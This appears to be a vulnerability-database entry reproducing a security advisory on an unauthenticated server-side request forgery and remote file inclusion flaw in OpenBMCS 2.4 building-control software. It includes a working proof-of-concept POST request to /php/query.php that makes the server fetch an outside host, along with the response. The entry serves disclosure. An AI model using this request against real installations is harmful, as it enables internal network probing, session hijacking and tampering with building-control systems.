OpenBMCS 2.4 Unauthenticated SSRF / RFI

🗓️ 16 Jan 2022 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 305 Views

OpenBMCS 2.4 Unauthenticated SSRF / RFI. Vulnerability allows unauthorized HTTP requests and file inclusion

Reporter	Title	Published	Views	Family All 8
CNNVD	OpenBMCS 代码问题漏洞	9 Dec 202500:00	–	cnnvd
CVE	CVE-2021-47703	9 Dec 202520:36	–	cve
Cvelist	CVE-2021-47703 OpenBMCS Server Side Request Forgery (SSRF) via /php/query.php	9 Dec 202520:36	–	cvelist
EUVD	EUVD-2021-34736	9 Dec 202521:31	–	euvd
NVD	CVE-2021-47703	9 Dec 202521:15	–	nvd
Positive Technologies	PT-2025-50233	9 Dec 202500:00	–	ptsecurity
RedhatCVE	CVE-2021-47703	10 Dec 202521:16	–	redhatcve
Vulnrichment	CVE-2021-47703 OpenBMCS Server Side Request Forgery (SSRF) via /php/query.php	9 Dec 202520:36	–	vulnrichment

<html><body><p>OpenBMCS 2.4 Unauthenticated SSRF / RFI


Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management &amp; Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: Unauthenticated Server-Side Request Forgery (SSRF) and Remote File Include
(RFI) vulnerability exists in OpenBMCS within its functionalities. The application
parses user supplied data in the POST parameter 'ip' to query a server IP on port
81 by default. Since no validation is carried out on the parameter, an attacker
can specify an external domain and force the application to make an HTTP request
to an arbitrary destination host. This can be used by an external attacker for
example to bypass firewalls and initiate a service and network enumeration on the
internal network through the affected application, allows hijacking the current
session of the user, execute cross-site scripting code or changing the look of
the page and content modification on current display.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
           Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
           Apache/2.4.41 (Ubuntu)
           Apache/2.4.25 (Debian)
           nginx/1.16.1
           PHP/7.4.3
           PHP/7.0.33-0+deb9u9


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5694
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5694.php


26.10.2021

--


POST /php/query.php HTTP/1.1
Host: 192.168.1.222
Content-Length: 29
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ip=www.columbia.edu:80&amp;argu=/


HTTP/1.1 302 Found
Date: Tue, 14 Dec 2021 20:26:47 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=gktecb9mjv4gp1moo7bg3oovs3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../login.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!-- developed by CUIT -->
<!-- 08/28/18, 8:55:54am --></p>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<meta content="DB472D6D4C7DB1E74C6D939F9C8AA8B4" name="msvalidate.01"/>
<title>Columbia University in the City of New York</title>
...
...
</body></html>

16 Jan 2022 00:00Current

5.9Medium risk

Vulners AI Score5.9

CVSS 3.17.2

CVSS 46.9

EPSS0.00072

SSVC